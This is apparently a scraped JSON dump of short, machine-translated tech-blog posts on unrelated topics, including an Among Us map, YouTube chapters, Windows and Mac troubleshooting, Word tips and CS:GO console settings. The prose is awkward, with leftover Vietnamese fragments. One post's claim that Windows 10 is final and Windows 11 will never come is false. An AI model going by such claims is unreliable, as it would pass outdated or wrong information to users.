Toppat\u0026nbsp;AirShip Revealed at The Game Awards 2020, Among Us's new map is called the Toppat\u0026nbsp;Airship\u0026nbsp;and it gives players a lot of options. It is not only larger than the area of ​​the other 3 maps in Among Us, but also provides players with a number of new options and missions.\u0026nbsp;\n  Choose a room to start playing Unlike the current three maps, the Toppat\u0026nbsp;Airship\u0026nbsp;will allow players to choose the room in which they appear. This is not currently available in The Skeld, MIRA-HQ and Polus, you will have the option to appear in the Engine Room, Records room or Main Hall to get started.\n  And players will have a few seconds to choose where to start and they will not be able to see which region other people have chosen. This means the player will start right next to Impostor, sounding both dangerous and excited at the same time.\nNew mission in Toppat\u0026nbsp;Airship   New missions in the Toppat spacecraft will include cleaning gems, pulling trash bags out of small trash cans, among other new missions. The way of performing these missions will also be slightly different from the ones you used to do in the old maps.\nNew murder scene   Besides the name information, we will also have a few new Kill Animation in Among Us. This is something that many gamers have also expected for a long time and before that, fans also \"designed\" new Kill Animation based on famous movies.\nWith the information on the Toppat\u0026nbsp;Airship map above, this would definitely be a great addition to an already great game. And surely you also wanted to jump in and explore this spaceship.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8z5qrZquglrCmv8eip2aZXaOyuHnMmqdmoZ5irq67zaBkrqs%3D\n","link":"/post/toppat-airship-a-new-map-in-among-us/","section":"post","tags":null,"title":"Toppat Airship , a new map in Among Us"},{"body":"YouTube has just announced that it has launched a new feature called Video Chapters on all three platforms Desktop, Android and iOS for content creators, allowing them to set timelines in video. so that users can easily fast forward or grasp video content, especially for long videos.\nIn other words, YouTube content creators can split their video timeline into smaller pieces, then add a brief description of what content will be in those time frames. With this feature, viewers can easily fast-forward to the part of the video they really want to watch, as well as quickly grasp the main content of the entire video.\nThis feature will exist as optional rather than optional, and the activation is also quite easy. Video creators only need to list at least 3 timelines that they want to split into specific chapters (chapters), with a length of 10 seconds or more, then add descriptive titles. The timeline will start at 0:00 and the display title will be right next to it. In addition, the video creator can also optionally choose the start and end points for each time period in the video.\nIn case the video creator doesn't want to activate Video Chapters, but still wants to mention specific timelines in his video, just start with any timeline other than 0:00 in the description. description.\nIn addition to helping viewers easily switch between chapters, YouTube has added support for haptic feedback on mobile applications, allowing users to feel and navigate better. While in the web version (desktop), there will be screenshots of each chapter.\nVideo Chapters As revealed by YouTube, Video Chapters received a lot of positive feedback from the content creator community during the testing process. This is the reason the company decided to release this feature widely on all platforms.\nBecause Video Chapters have only been implemented in the past few days, not many videos have applied this feature yet. However, with the usefulness that Video Chapters brings to users, it probably won't take long for it to become popular among the YouTube user community.\nncG1vNJzZmismaXArq3KnmWcp51kxrDB066ZnmWclsKvr8eem2aumZmysHnCoZiprJWnwG6tjK%2Bcq7FdqsCmstSlZK%2BhlJq8br7EsKmirJViwLa8z6iprWWWmq61wdGe\n","link":"/post/youtube-launched-video-chapters-a-very-useful-video-rewrite-support-feature/","section":"post","tags":null,"title":"YouTube launched Video Chapters, a very useful video rewrite support feature"},{"body":"YouTube has just announced that its videos will be scaled down by default, starting next month and will be available to all users worldwide. Last week, YouTube said it would reduce the video quality of users in Europe, to help avoid bandwidth overload when many people are at home due to the Covid-19 epidemic.\nThe new notification applies to all users worldwide, meaning that users in Vietnam will also be affected.\n By default, YouTube videos will only play at 480p resolution. If you want to watch the video in higher resolution, you'll have to manually customize it. Of course it will cause a bit of inconvenience for users, but not too serious.\nNot only YouTube, other technology companies like Netflix, Amazon and Apple also reduce the quality of streaming services. However, most only apply in Europe, where the Covid-19 epidemic is outbreaking.\n As more and more people study and work from home, there is a growing concern about overloaded internet bandwidth. Therefore, the quality of streaming and video streaming services will be essential.\nA YouTube representative said: 'We are working closely with governments and carriers across the globe to help reduce the overload of the internet, in this unprecedented situation.'\nReference: theverge\nncG1vNJzZmismaXArq3KnmWcp51kxrDB066ZnmWimrG2r8SdZK2glWKxprLArqOtZaaesaa7jKucrKecqsGqu81mq6hlZG19sXnFq6amZZ6axbV5zKilraBdq7amwM2apJ6rlWLCtLHRrGSwoZyheqOxjJqdn52TqbKl\n","link":"/post/youtube-reduced-the-default-video-resolution-to-480p-from-next-month-vietnamese-users-will-be-affected/","section":"post","tags":null,"title":"YouTube reduced the default video resolution to 480p from next month, Vietnamese users will be affected"},{"body":"Over the past several decades, Russia has been interested in making underwater guns to equip the task force of the frogs and divers. They have achieved certain successes in the development of underwater weapons, although the weapons created are limited in real combat.\nHow far is the bullet fired from underwater AK-47 guns? List of the world's best 10 handguns The impressive moment when the bullet rushed out of the barrel What happens inside the gun when we pull the trigger? Normal guns when shot underwater are ineffective, inaccurate, limited in sight, and the damage is reduced quickly. The reason is that water has 800 times more drag resistance than air.\nHere are the top 3 brightest underwater guns of the Russian Navy.\nPistols SPP-1\n  \nSPP-1 has a similar pistol-like shape but its firing method is completely different. Russia has built a special ammunition specifically for SPP-1. It was a type of steel dart bullet, flattened head, 115 mm long, weighing about 13g each.\nThanks to the foaming mechanism, bullet darts flying out of the barrel will keep the flight stable. Bullets can glide under water thanks to tiny bubbles around the tip of the flattened head. This reduces drag, increases the accuracy and damage of dart bullets.\nHowever, the SPP-1 gun is still limited, the optimal range is only about 17m at a depth of 5m and decreases rapidly when the depth increases.\nWhen shot on water, the accuracy of the SPP-1M gun is significantly reduced by using dart bullets in the smooth barrel.\nAPS quick assault rifle\n   Photos: Wikimedia.\nThe APS has a similar shape to the AK-47 and is simply designed with only 42 components. APS fired 5 shells of 66 x 120mm darts from a 26-bullet ammunition box, firing at 600 rounds per minute, both underwater or on land.\nJust like the SPP-1, the APS gun has a smooth barrel so it doesn't work well on the shore.\nADS dual-use quick assault rifle\n   Photos: Wikimedia.\nAccording to the declaration of Russian weapons manufacturer KPB in 2013, they successfully built the ADS dual-use fast assault rifle. This gun is effective both in water and on shore.\nWhen transferring combat environments, users only need to transfer the relay box from the traditional ammunition container to the specially designed ammunition box.\nWhen firing under water, an air bubble will surround the bullet . The mechanism of bubble-making around ADS bullets is the mechanism used to design Shkval torpedoes that can travel at speeds of up to 370 km / h.\nUnder water, ADS guns have an optimal range of about 25m at a depth of 30m and a depth of 20m is 18m. ADS weighs 4.6kg and has a 40mm grenade launcher function, shooting 5 bullets of 45 x 39 mm. When on shore, ADS can fire up to 800 capsules per minute at a range of 500m.\nThe effectiveness and accuracy of the ADS rifle is judged not to be inferior, even higher than the legendary AK-47.\nncG1vNJzZmismaXArq3KnmWcp51kgG7BzZ2cq6%2BRqbKzedKhpqismaO0brPUp6pmp5Ziv7a%2F0qKYp2WklsCsecWoqZyd\n","link":"/post/3-underwater-shooting-guns-of-russian-task-force/","section":"post","tags":null,"title":"3 underwater shooting guns of Russian task force"},{"body":"QuanTriMang - A lot of people use a text editor that uses add-ins. Will they make Word more cumbersome or help extend the capabilities of this text editor? In fact, this depends on the type of add-in the user chooses. In this article, we will find a few free or low-cost Word add-ins that you can use.\n1: Microsoft Mathematics Add-in Are you having trouble with equations and calculations in Word data? If you are tired of facing the above indicators and below indicators to get a nice calculation, try using the Microsoft Mathematics Add-in provided by Microsoft Download Center. This add-in works with both Word and OneNote and provides users with a collection of mathematical characters. You can add them in your equation to complete the calculation. In addition, this add-in provides users with features to help you calculate complex functions, work with algebraic expressions, 2-D and 3-D form graphs together. Other useful features.\n  2: Classic Menu for Word 2010 If you feel sorry for the old interface of Word and when finding what you need in Word is a matter of opening which menu, then you can return to time by adding Classic Menu for Word 2010. New features included Word 2010 has been included in the Classic interface. So, users can access all the new functions that the latest version offers through a user-friendly interface, design and comfort. This add-in provides a trial version within 30 days. You will then have to pay the $ 15 fee if you decide to continue using.\n3: More Add-in 4.2 Want a simpler way to attach content in Word data? For example, suppose that you are creating training data and want it to be as concise and concise as possible but also do not want to ignore the information that new users. If so, you can use the Add Add-in 4.2 add-in to create scrollable content in Word data. Information will be hidden until the user clicks on it to display additional information when needed. More Add-ins give users a trial version, allowing 10 times to use. After that, if you want to continue using this add-in, you will need to purchase an online license for $ 19.99.\n4: Chemistry Add-in for Word This is another add-in for people who use Word to complete chemical-related calculations. Chemistry Add-in for Word will provide users with the necessary characters to add and work with the chemical information contained in the data. It includes formulas, molecular characters, etc. Users can also create chemical 2D diagrams and display a direct 'chemical area' table so you can quickly see chemical descriptions right in my data. Users can add Chemistry Add-in for Word for free from Microsoft Education Labs.\n  5: PowerWord 1.0 If you're a 'hunter' and gather information, you might like PowerWord 1.0. This add-in helps simplify the search from your favorite sources - Wikipedia, Google, YouTube, . - when searching for new articles, photos and stories related to the keywords you enter. Users can also use To-Do List Manager to create a list of tasks that items need to be completed before the data is completed. This is a great feature whether you're working alone or working with a group.\nAnother thing about this software: There are spelling errors in Easy Research group in the PowerPack card (Reference Search misspelled as Reference Serach). However, its functionality is still unaffected. In addition, this tool is free. So, we can completely ignore this spelling error.\nWhich free / cheap add-ins do you like? So, we have introduced 5 add-ins for the Word 2010 text editor. Which one do you like the most? Do you have other free / cheap add-ins? Please share with other readers of QuanTriMang in the comment section.\nncG1vNJzZmismaXArq3KnmWcp51kgm7B0p6drqRdlrGltc2sZJ%2BnomLEsL7DZmlpaWA%3D\n","link":"/post/5-useful-add-ins-for-word-2010/","section":"post","tags":null,"title":"5 useful add-ins for Word 2010"},{"body":"Perhaps on CS GO, the use of cheats is not very important because all players only need to find matches in C4 (Demolition) or hostage (Hostage) game modes.\nSo many people still think that CSGO cheat codes are not available, but you also know that the code table is still available in the game's settings for you to use. Some commands can lead you to playrooms with other game modes like zombie, zombie escape.\nShould the CSGO code for those who only play the available modes in the game and do not need much customization commands for their screen, the CSGO code is less important. And if you want to try CSGO codes, then check out the CSGO cheats below and see how to enter instructions.\nThe latest CSGO codes, Counter Strike Global Offensive cheat codessive Adjust the command to display parameters in CSGO net_graph 1: Enable the display of ping, lag, fps, rate on your PC and the server.\n  If you want the table to display this parameter smaller, use some of the cheats here.\nnet_graphheight 80 (choose from 0-1000, 0 is the smallest, 1000 is the largest) net_graphproportionalfont 0 net_graphpos  from 1 to 3 select the display position for net_graph A little bit related to the net_graph code above that you can adjust the parameters by config.cfg following the link below. C:Program Files (x86)SteamSteamAppscommonCounter-Strike Global Offensivecsgocfg\ncl_interp 0.009766 cl_interp_rate 1 cl_updaterate 128 cl_cmdrate 128 rate 200000 fps_max '129' //can increase to 300 if your computer configuration is strong. Some other common commands in CSGO mat_monitorgamma 1.6: helps increase gamma to make it easier to see in the dark\ncl_use_opens_buy_menu 0 : helps pick up weapons at home dropped by teammates without having the buy menu enabled.\n  bind shift '+speed; r_cleardecals': Pressing Shift will help the blood streaks that spill out and stick on the wall to disappear. It makes it easier to see the enemy.\n  bindtoggle g gameinstructor_enable: enable in-game instructions to help you defuse bombs faster.\n  cl_radar_always_centered 0: center the map in the center\ncl_radar_scale 0.6: scale up the map in the left corner\n  bind k +jumpthrow; alias +jumpthrow '+jump; -attack'; alias -jumpthrow -jump: (Jump throw, used to throw flash, smoke, nade easier, you can replace the k key with another key with bind - select key). bind f3 'buy flashbang; buy smokegrenade; buy hegrenade; buy flashbang' (attach the F3 key to buy both flash, smoke and nade lists faster, can be changed with another key). snd_headphone_pan_exponent 2 (helps you hear sound effects better) bindtoggle t cl_righthand 1/0 or cl_righthand 1/0 change hands cl_disablefreezecam 1 (deactivate freezecam). sensivity 2.0: adjust the mouse sensitivity, you can change it to 1.5, 1.3. the higher the number, the more sensitive the mouse is. Centering code, this is a color centering code that if you have used it in CS 1.1 or CS 1.6, you will find it very familiar.\ncl_crosshairalpha - 200 cl_crosshaircolor - 5 cl_crosshaircolor_b - 250 cl_crosshaircolor_r - 50 cl_crosshaircolor_g - 232 cl_crosshairdot - 0 cl_crosshairgap - -9 cl_crosshairsize - 2 cl_crosshairstyle - 5 cl_crosshairusealpha - 1 cl_crosshairthickness - 1 cl_fixedcrosshairgap - -9 cl_crosshair_outlinethickness - 0 cl_crosshair_drawoutline - 0 cl_dynamiccrosshair - 1 cl_crosshairscale - 600 cl_crosshairsize - 2 cl_crosshairthickness - 1.15 cl_crosshairspreadscale - 0.4 cl_legacy_crosshair_recoil - 1 cl_legacy_crosshair_scale - 1 Above are some basic commands in CS GO that you can use to apply to Console Command in the game.\nncG1vNJzZmismaXArq3KnmWcp51ksLSzzmaaqKWdlrulv4ycqmafn2KwqbHArapmmZ6Zeqm71marqGWVo8GmvoycqqCnXZi8rrnAp5us\n","link":"/post/csgo-commands-cs-go-cheats-and-how-to-enter-csgo-commands/","section":"post","tags":null,"title":"CSGO Commands, CS GO cheats and how to enter CSGO Commands"},{"body":"There are many causes of IP address conflicts on Windows computers.For example, a computer is assigned a static IP address but within DHCP for local network (Local Network) and the same address assigned by DHCP server to another computer.Or your laptop is put into sleep mode and then reopen, while connecting to the network assigned an IP address to another computer, .\nWhen you encounter an IP address error, on the screen you will receive an error message like: \" There is an address IP conflict with hệ thống khác với mạng \" hoặc \"địa chỉ IP này đã được sử dụng trên mạng. a different IP address \".\nSo how to fix this error, please refer to the following article of Network Administrator.\n1. The cause of the error The cause of an IP address conflict may be due to:\n2 computers are assigned the same static IP address. A computer is assigned a static IP address but within DHCP for local network (Local Network) and the same address assigned by DHCP server to another computer. Laptop is put into sleep mode (Sleep mode) and then re-open, during connection to the network is assigned an IP address to another computer. If there are multiple network cards on the computer, it may cause IP address conflicts. If connecting multiple wireless routers to your network and DHCP is enabled on multiple devices. 2. Fix IP address conflicts To fix IP address conflicts, you can apply some of the following solutions:\n2.1. Refresh (renew) IP address To refresh the IP address on the computer, you can use the Command Prompt.\nFirst click Start , then enter cmd in the Search box. On the list of search results click Command Prompt .\n  On the Command Prompt window, enter the command below and press Enter to release the IP address:\nipconfig / release\nDepending on the number of adapters installed on the computer, you will see many different results after the above command completes. With the Ethernet port, you will see Ethernet Ethernet Ethernetx , and with the wireless network card you will see the Wireless LAN Adapter Wi-Fi or similar items.\n  Note that if your computer is set to a static IP address, you will receive an error message: \" The operation failed as no adapter is in the permissible state for this operation \".\n  After running the release IP address command, the next step is to run the command to renew (refresh) the IP address, you use the following command:\nipconfig / renew\nWait a few seconds, you will see the results displayed on the Command Prompt window and the IP address displayed next to the IPv4 Address section .\n  2.2. Reconfigure static IP address (Static IP address) If your computer uses a static IP address, then you might consider changing a static IP address.\nThe current IP address may conflict with the IP address settings provided by the DHCP server.\nFollow the steps below to change the current IP address. In addition, you can get the IP address directly from the DHCP server by using the commands to release / renew / refresh in the above instructions.\nTo change the IP address, first open Control Panel, then on the Control Panel window, find and click Network and Sharing Center . In the left pane, click Change adapter settings .\n  Right-click the network card you are connecting to, then select Properties .\n  On the Properties window, find and click Internet Protocol Version 4 (TCP / IPv4) then click Properties .\n  Here you select Use the following IP address , then enter the static IP address you took in the previous step and enter the IP adress and Subnet mask.\n2.3. Restart the router If you have applied the above solutions and still cannot fix the error, then another solution is to restart the router. After the router has finished booting, restart your computer to fix the error.\nIn rare cases, a real DHCP server may malfunction and assign more than one IP address on the computer. In this case, it is best to try and update the firmware on the router.\nRefer to some of the following articles: How to use Command Prompt to manage wireless networks on Windows 10? Automatic timer to turn on Wifi after 1 hour, 4 hours or 1 day on Windows 10 Conflict of IP address error when connecting to Wifi on iPhone, iPad, this is a fix Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjKKnZpmUmb%2Bmv9JmmqimlqG2pMCMnqmrp6JivK951qKlnaenqHqku8yprK2dog%3D%3D\n","link":"/post/fix-ip-address-conflict-error-on-windows-computer/","section":"post","tags":null,"title":"Fix IP address conflict error on Windows computer"},{"body":"Did Microsoft 'forget' about losing 9 when naming Windows? No, it all has a reason.\nInitially, Microsoft often named Windows by year of release, such as Windows 95, 98, 2000. Later, when Windows 7 was released, Microsoft switched to naming the order of number instead of the year as before.\nWhen Windows 8 'expired', the next version of Windows was set by Microsoft as 10 rather than 9. Microsoft did not announce the cause, but a lot of theories have been put forward explaining why Microsoft ignores number 9.\n  In 2014, the answer to this question was made by Mary Jo Foley, who regularly reports to Microsoft on the day Windows 10 is officially announced.\nMicrosoft chose the name Windows 10 because this is the final version of Windows. Periodically, Microsoft will only focus on making updates, upgrades, and bug fixes for Windows 10, not creating new major Windows generations after a few years as before.\nWindows 10 has a common source code, Microsoft just need to adjust the interface to suit the different device types, screen sizes, only.\nWindows 10 was officially launched in 2015, since then Microsoft has never announced it will have the next Windows, but only updates, upgrades and minor bug fixes.\nTherefore, it is highly likely that there will never be Windows 11 and 12, so whether we like it or not, we still have to use Windows 10.\nncG1vNJzZmismaXArq3KnmWcp51ktaLCxGawqK1dmsOmvoywpqeclaeypXnWobBmr5mjsbDD0mZwZqaVq7KzecCpp56Zoqg%3D\n","link":"/post/have-you-ever-wondered-why-windows-9-never-appears/","section":"post","tags":null,"title":"Have you ever wondered why Windows 9 never appears?"},{"body":"To make your PowerPoint presentation polite and impressive, greetings are the most important part of your presentation. In today's article, TipsMake.com presents readers with beautiful and unique PowerPoint backgrounds to help you have a polite and attractive PowerPoint prologue.\n  Invite you to read along and download the PowerPoint PowerPoint hello below.\n  Hello powerpoint wallpaper extremely cool\n  Hello most beautiful powerpoint wallpapers\n  Simple hello powerpoint background image\n  Hello powerpoint background image\n  Hello wallpaper for powerpoint\n  Hello wallpaper simple but beautiful powerpoint\n  Hello wallpaper powerpoint\n  Hello powerpoint background image\n  Hello background image for powerpoint\n  Hello powerpoint image\n  Hello image for powerpoint\n  Powerpoint greetings wallpapers\n  Greeting powerpoint wallpaper\n  Unique hello powerpoint wallpaper\n  Simple hello powerpoint wallpaper\n  Hello powerpoint wallpaper\n  Slide backgrounds for hello powerpoint\n  Powerpoint slide wallpaper hello\n  Hello wallpaper for powerpoint\n  Hello wallpaper for powerpoint\n  Cute hello wallpapers for powerpoint\n  Beautiful hello wallpapers for powerpoint\n  Hello wallpaper beautiful and exclusive for powerpoint\n  Unique hello wallpaper for powerpoint\n  Simple but beautiful hello wallpaper for powerpoint\n  Hello wallpaper full hd for powerpoint\n  Hello wallpaper cute powerpoint\n  Hello powerpoint wallpaper\n  Hello powerpoint wallpaper template\nWith the PowerPoint backgrounds hello in the article, download and use it as the front page slide to make your presentation more prominent and formal. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktaa4y6hkqaenmr%2Bxu8inq2avkaG5sa3Pnqk%3D\n","link":"/post/hello-powerpoint-wallpaper/","section":"post","tags":null,"title":"Hello PowerPoint wallpaper"},{"body":"Do you have Windows 10 apps that aren't working as expected? Maybe it's too slow, crashes suddenly, or has loads of problems to pinpoint. One way to get around the problem is to use a free official Microsoft utility called Process Monitor. This tool will help you diagnose and debug any Windows application errors or problems.\nDownload and install Process Monitor SysInternals's Process Monitor (ProcMon) utility has been around since 2006 and does a lot more than diagnose application problems. It provides the ability to view all registry keys, file system locations and network traffic.\nHowever, it does not capture mouse pointer movements or hardware-related changes. If your goal is to capture malware, identify troubled applications, or have a high level overview of your Windows PC, then ProcMon is the most advanced tool to have.\nDownload Process Monitor here\nNo settings involved, but you must agree to the SysInternals software license terms while running the .exe file.\nLet Process Monitor list all the events in your Windows system. All running programs are automatically analyzed.\nDiagnose problems with Windows Process Monitor When the program lists insights, you can be overwhelmed to see so many rows and columns. There are millions of entries. You don't have to care about everything, just pay attention to the following:\nProcess name Process ID (PID) - Process ID: A four or five digit number File path Result code: 'Success' or more entries, such as 'name not found', 'Reparse', etc. To quickly jump to troubled apps, go to Tools\u0026gt; Process Tree .\n  The dashboard will have all the applications open and running in your system. A complete green block in the 'Life Time' column usually indicates there is no problem in the relevant application.\nIf Windows 10 programs and system are up to date, many registry errors and file health problems won't cause any trouble. For updated related issues, you can use another utility called SetUpDiag.\n  Scroll down to the problematic event and click 'Go to Event' to navigate to the problem. In the next screen, ProcMon diagnosed many problems with Tencent's QQ Browser. You can recognize a process ID ('3428') by its .exe file.\nOnce the problem source is identified, you need to use an option called 'Filters' . By right-clicking and adding a 'Include' filter for a particular executable, you focus on just a specific app, then apply the filter. Depending on the number of entries, it may take some time. There are already thousands of entries for this filter.\nYou can also rule out certain results like 'Success' or 'Buffer  Overflow' , as they show the application is not having a problem. This will narrow the search even further.\nFor now, focus on the most common resulting code for the problematic application. The 'Name not found' issue is the most common phenomenon here with thousands of entries, meaning the caller tried to open an object that didn't exist.\nIn other words, the installation itself had an error. So you have diagnosed the root of the problem.\n  Final troubleshooting Here, the article will show the final fix for the above program. Before resolving the diagnosed problem, requiring uninstall, you may want to save the ProcMon file from File\u0026gt; Save so that you can review the related issues in the future.\nSaving the file also gives you the filter presets you just created. If you want to go back to the default settings, click Reset.\nAs shown here, the program needs to be uninstalled due to the lack of many DLLs. Uninstalling the program is not always easy, so ProcMon has a right-click option called 'Search online'. It leads to the Uninstall screen .\n  Clicking on the uninstaller removed the program completely.\n  The uninstallation step is a nuclear option (\"extreme\" option) but it works with programs that have too many files missing.\nWhen re-opening ProcMon with the same filter presets, the problem with Tencent's QQ Browser is gone.\nYou can use Windows Process Monitor to diagnose Windows application errors and resolve problems. It only takes a little bit of work to identify the source of the main problem.\nProcess Monitor ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVl8KoecBmrqKmlKTEtHnAqaeloZOWwaq7zWauoqyYYr2zu8KeqqxlnaS7qsDOqw%3D%3D\n","link":"/post/how-to-debug-a-windows-application-with-process-monitor/","section":"post","tags":null,"title":"How to debug a Windows application with Process Monitor"},{"body":"While using Windows 10, we can not avoid the error generated from the system, one of the common errors on Windows 10 is 0x80070422. The error 0x80070422 originates from many different causes, but most of them are related to network settings on Windows 10. In this article, the Software Tips will guide you how to fix error 0x80070422 on Windows 10.\n  1. Restart network setup One of the top solutions to dealing with 0x80070422 error is to reset the network connection because this is the component that easily generates the error.\nStep 1: You proceed to open MenuStart and enter Network .\n  Step 2: Then, you select Reset Now to reset network settings on Windows 10.\n  2. Set up Windows Update Service Windows services also use network connectivity and they are also a common component of the error 0x80070422.\nStep 1: You proceed to open MenuStart and enter Run .\n  Step 2: Then, you enter services.msc and press Enter to open.\n  Step 3: Next, you scroll down and find Windows Update and Right-click and select Properties .\n  Step 4: Finally, turn the Startup type to Automatic and click Apply -\u0026gt; OK to finish.\n  3. Activate Network List Service again Step 1: You proceed to open MenuStart and enter Run .\n  Step 2: Then, you enter services.msc and press Enter to open.\n  Step 3: Next, you scroll down to find Network List Service and Right-click to select Restart .\n  4. Turn off IPv6 of network settings Step 1: You proceed to open MenuStart and enter Settings to open.\n  Step 2: Then, you select the Network \u0026amp; Internet section to set up the network.\n  Step 3: Next, select Change adapter options to change network options.\n  Step 4: At this time, the list of network connections on your computer will be displayed. You right-click on the network connection you are using to select Properties .\n  Step 5: Finally, you go to Internet Protocol Version 6 (TCP / IPv6) to turn them off.\n  5. Use the debugger on Windows 10 If the above methods do not help you overcome the error 0x80070422, then you must resort to the error repairer on Windows 10.\nStep 1: You proceed to open MenuStart and enter Troubleshoot settings to open error correction settings.\n  Step 2: Then, you go to Windows Update and select Run the troubleshooter .\n  Step 3: The system will run and automatically fix errors so please wait!\n  In this article, Software Tips showed you how to fix error 0x80070422 on Windows 10. I wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqWZoqG19cYOPbWlrZZmjeri1zZ2msKtdZn0%3D\n","link":"/post/how-to-fix-error-0x80070422-in-windows-10/","section":"post","tags":null,"title":"How to fix error 0x80070422 in Windows 10"},{"body":" This wikiHow teaches you how to force your Mac to shut down. Doing so can be a quick way to turn off your Mac without having to use the mouse, but you'll usually only need to force your Mac to shut down if your Mac freezes or stops working...\nMethod 2of 3:\nForcing a Frozen Mac to Shut Down  Determine the severity of your Mac's condition. If your Mac is so frozen that you can't interact with any on-screen items or even move the cursor, skip the next two steps. If you can still interact with some of the on-screen items, you may want to try force-quitting the program that's causing your Mac to freeze.   Try force-quitting an application. If your Mac froze after you opened a specific application, you can try force-quitting the application by doing the following: Press ⌘ Command+⌥ Option+Esc to bring up the Force Quit window. Click the program you want to force-quit. Click Force Quit at the bottom of the window. Click Force Quit if prompted.   Try to save any open work. If you've determined that you're unable to force-quit the problematic program, try saving any in-progress work in any responsive programs. You can usually do this by pressing ⌘ Command+S while in the program's window. Since forcing your Mac to shut down will also cause all open programs to close, you may lose unsaved work. Many programs, such as those in the Microsoft Office suite, will save a backup of your work that you can restore upon restarting your Mac.   Find your Mac's \"Power\" button. Most Macs have a physical button with the \"Power\"  icon that you can press to turn off your Mac: MacBook without Touch Bar — The \"Power\" key is in the top-right side of the keyboard. MacBook with Touch Bar — The \"Power\" button is the Touch ID section on the far-right side of the Touch Bar. iMac — You'll find the \"Power\" button behind the lower-left side of the iMac's screen.   Press and hold the \"Power\" button. Once you've found the \"Power\" button, press down on it and don't release it until the screen turns off.\n  Release the \"Power\" button when the screen goes black. This signifies that your Mac has turned off. It may take your Mac up to a minute to finish turning off completely, so make sure that your Mac has stopped making noise before you proceed.   Turn back on your Mac after a minute. Once your Mac has shut down entirely, you can press the \"Power\" button once to turn back on your Mac. When it finishes restarting, your Mac should be unfrozen. If your Mac is still frozen after restarting, try troubleshooting your Mac.  Method 3of 3:\nTroubleshooting Post-Restart Issues  Start your computer in Safe Mode. If your computer freezes again after a forced shut down, restart it and press ⇧ Shift as soon as it begins to turn back on, then release the ⇧ Shift key when you see the Apple logo. Your computer will start in Safe Mode and attempt to repair issues with your disk.[2] Many applications will not work in Safe Mode. Use it for the next couple steps, then restart to return your computer to normal.   Disable open on startup. Safe Mode prevents programs from opening automatically on startup. To prevent a program opening after a normal startup, follow these steps: Open the Apple menu  . Click Users \u0026amp; Groups. Select your user account in the left pane. Click the Login Items tab. Select the program causing the issue. Click the - button below the list of programs.   Uninstall a problematic program. If you have a specific program that you know is causing your Mac to freeze, uninstalling it (and reinstalling it, if you like) will solve the problem: Open  Finder. Click the Applications folder (or click the Go menu and click Applications in the resulting drop-down menu). Find the program that keeps freezing. Drag the program into the Trash.   Repair your disk. If your computer still has issues that don't seem tied to a specific program, follow these steps to repair your disk:[3] Restart your computer and hold down ⌘ Command + R as it starts up. Click Disk Utility on the startup screen. Click Continue. Select your startup disk and click Repair Disk. Wait for this to complete (it may take a while), then restart your computer.   Reset your SMC. The SMC, or System Management Controller, handles many of the physical components on your Mac. An issue with the SMC can prevent your power button from working properly, or cause general slowdowns. If none of the steps above solved your problem, reset the SMC:[4] Laptop with non-removable battery — Shut down your computer and plug it into a power source. Using the left side of the built-in keyboard, hold down ⇧ Shift + Control + ⌥ Option while pressing the \"Power\" button, then release all keys, and finally press the \"Power\" button again. Laptop with removable battery — Shut down your computer. Unplug the power adapter and remove the battery, then hold down the \"Power\" button for five seconds. Release the \"Power\" button, reinsert the battery, and plug in your computer to a power source. Press the \"Power\" button. Desktop — Shut down the iMac and unplug the power cord. Wait fifteen seconds, then plug it back in. Wait five seconds, then press the \"Power\" button.   David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6fp7CmedKhrK1llKTEr3nAZqSamw%3D%3D\n","link":"/post/how-to-force-shut-down-a-mac/","section":"post","tags":null,"title":"How to Force Shut Down a Mac"},{"body":"Text boxes in Word are often used to highlight certain content when creating a text box, plus the use of some other effects for the Text box. In case you work with many people and want to limit the change of the text box content as well as other customizations, you can lock the Text box again.\nThe password is then set to protect the Text Box from any changes. And if others want to edit the content or change the format for the Text box, you must enter the correct password. So, besides creating a password for the entire Word file, the user has the option to select a Word data key or block specific components such as Word's Header, Footer key. The following article will guide you how to lock the Text box on Word.\nInstructions for attaching files in Word How to insert, delete watermark in Word documents How to create a cover page in Word How to use PDF Page Lock to lock PDF files Instructions to create password Text box on Word Step 1:\nFirst, we create the Word Text box as usual. Then edit the format for frames or scripts depending on the user.\n  Step 2:\nNext, click on the Developer tab on Word's toolbar. Click on Restrict Editing .\n  Step 3:\nDisplay Restrict Editing interface right next to the interface. Here we customize the option to allow editing. At the Editing restrictions check box select Allow only this type of editing in the document .\nBelow switch to No changes (Read only) only allows content to be read, no more options to change.\n  Step 4:\nPress Ctrl + A to select the entire content on the Word document, then click on each Text box to remove the content box from the selection. Continue to look next to the Exceptions (optional) area and select Everyone to allow everyone to edit the selected content, which is the text content except for the text box.\nFinally, click on Yes, Start Enforcing Protection at Restrict Editing to intercept the content of the text box.\n  Step 5:\nFinally enter the password to lock the text box content and press Ok to save.\n  The Text box frame results are locked and cannot be edited.\n  Step 6:\nIf you want to stop locking the Text box, click Stop Protection .\n  Just like locking a data area on Word, the password creation process for the Text box does the same. The other person cannot change any content, edit the format for the content in the Text box unless the correct password is entered.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfmLhuwMeeZK2dqKl6o7vXZqCnZaekv6U%3D\n","link":"/post/how-to-lock-the-text-box-in-word/","section":"post","tags":null,"title":"How to lock the Text box in Word"},{"body":"Apple is 'giving up' support for older 32-bit applications.iOS 11 will not support 32-bit applications, and now macOS High Sierra will be \"the last macOS operating system that supports 32-bit applications\".Here's how to test 32-bit applications that will stop working in the future on Mac computers.\nWhen was the 32-bit application deleted? This is not an urgent issue as on iOS 11, 32-bit applications will be 'wiped out' at the end of 2017. MacOS 10.13 High Sierra will continue to support normal 32-bit applications and not anything changed.However, starting in January 2018, all new applications and updates for existing applications sent to the Mac's App Store are 64-bit applications.Not only on the App Store, the next MacOS operating system after High Sierra will warn users when they run 32-bit applications from any source.In a future version, macOS will stop running 32-bit applications.\n  Like on iOS, Apple wants to grow and stop supporting 32-bit applications.By using only 64-bit applications, Apple can remove 32-bit compatible applications to increase space and development time.Developers are getting alerted and need to take a few years to convert their applications.But some applications will not be developed, updated and stopped working on macOS, like some older applications stopped working when Apple removed theRosettaPowerPCcompatibility layerin Mac OS X 10.7.\nHow to check 32-bit applications You can check 32-bit applications installed on your Mac.To do so, clickthe Apple menu\u0026gt; About This Mac.\n  